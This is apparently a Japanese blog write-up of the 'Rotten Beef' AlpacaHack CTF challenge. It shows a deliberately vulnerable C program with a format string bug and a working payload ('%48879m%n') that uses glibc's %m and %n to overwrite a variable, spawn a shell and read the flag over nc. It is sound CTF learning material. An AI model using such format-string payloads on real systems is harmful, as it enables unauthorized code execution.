Daily AlpacaHack: Rotten Beef Writeup

以下のような C で書かれたコードとコンパイル済みの実行可能バイナリ、それが動いているサーバーが渡されます。 コードを読むと、 scanf で標準入力から読み取られた文字列が printf の第一引数として渡っていて、FSB がありそうなことがわかります。 後続の処理を読むと、 key0xbeef になっていれば、シェルが実行されて、フラグを読むことができそうです。

#include <stdio.h>
#include <unistd.h>

int main(void) {
    int key = 0xdead, dummy = 0xdead;
    char buffer[12];
    printf("input > ");
    scanf("%11s", buffer);
    printf("Your input: ");
    printf(buffer, &key, &dummy); // !?
    printf("\n");
    if(key == 0xbeef){
        printf("key = 0x%x (dummy = 0x%x), ok!\n", key, dummy);
        printf("Congratulations! spawning shell...\n");
        execve("/bin/sh", NULL, NULL);
    }
    else{
        printf("key = 0x%x (dummy = 0x%x), try again!\n", key, dummy);
    }
    return 0;
}

FSB といえば %n なので、これを利用することをまず考えます。printf の第二引数に &key が渡っていることから、 key の値を書き換えること自体はできそうですが、scanf が 11 文字しか読み取っていないことに注意が必要です。 key0xbeef にするには、 %n の前に 0xbeef = 48879 文字出力させなければいけません。 dummy をうまく使うんだろうか…?なんてことを考えながら、 printf のドキュメントを眺めていると、使えそうなフォーマット指定子が見つかりました。

m

(glibc での拡張; uClibc と musl で対応) strerror(errno) の出力を表示する。引数は必要ない。 https://linuxjm.sourceforge.io/html/LDP_man-pages/man3/printf.3.html

「引数は必要ない」というところがポイントで、 &key は第二引数にあるため、 %48879x%n のような入力では、 key ではなく dummy に値が入ってしまいます。 %m を使用することで、引数を消費せずに必要な文字数を出力させることができます。

%48879m%n

のように入力することで、シェルが起動し、フラグが得られました。

$ nc 34.170.146.252 43086
input > %48879m%n
Your input: (省略)
key = 0xbeef (dummy = 0xdead), ok!
Congratulations! spawning shell...
ls
bin
boot
chal
dev
etc
flag.txt
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
cat flag.txt
Alpaca{format_str1ng_is_s0_fun}

これを書いたあとに作問者の Writeup を見たら、 %1$n みたいな書き方でどの引数の指すアドレスに格納するか選択できるみたいで勉強になりました

hiikunz.hatenablog.com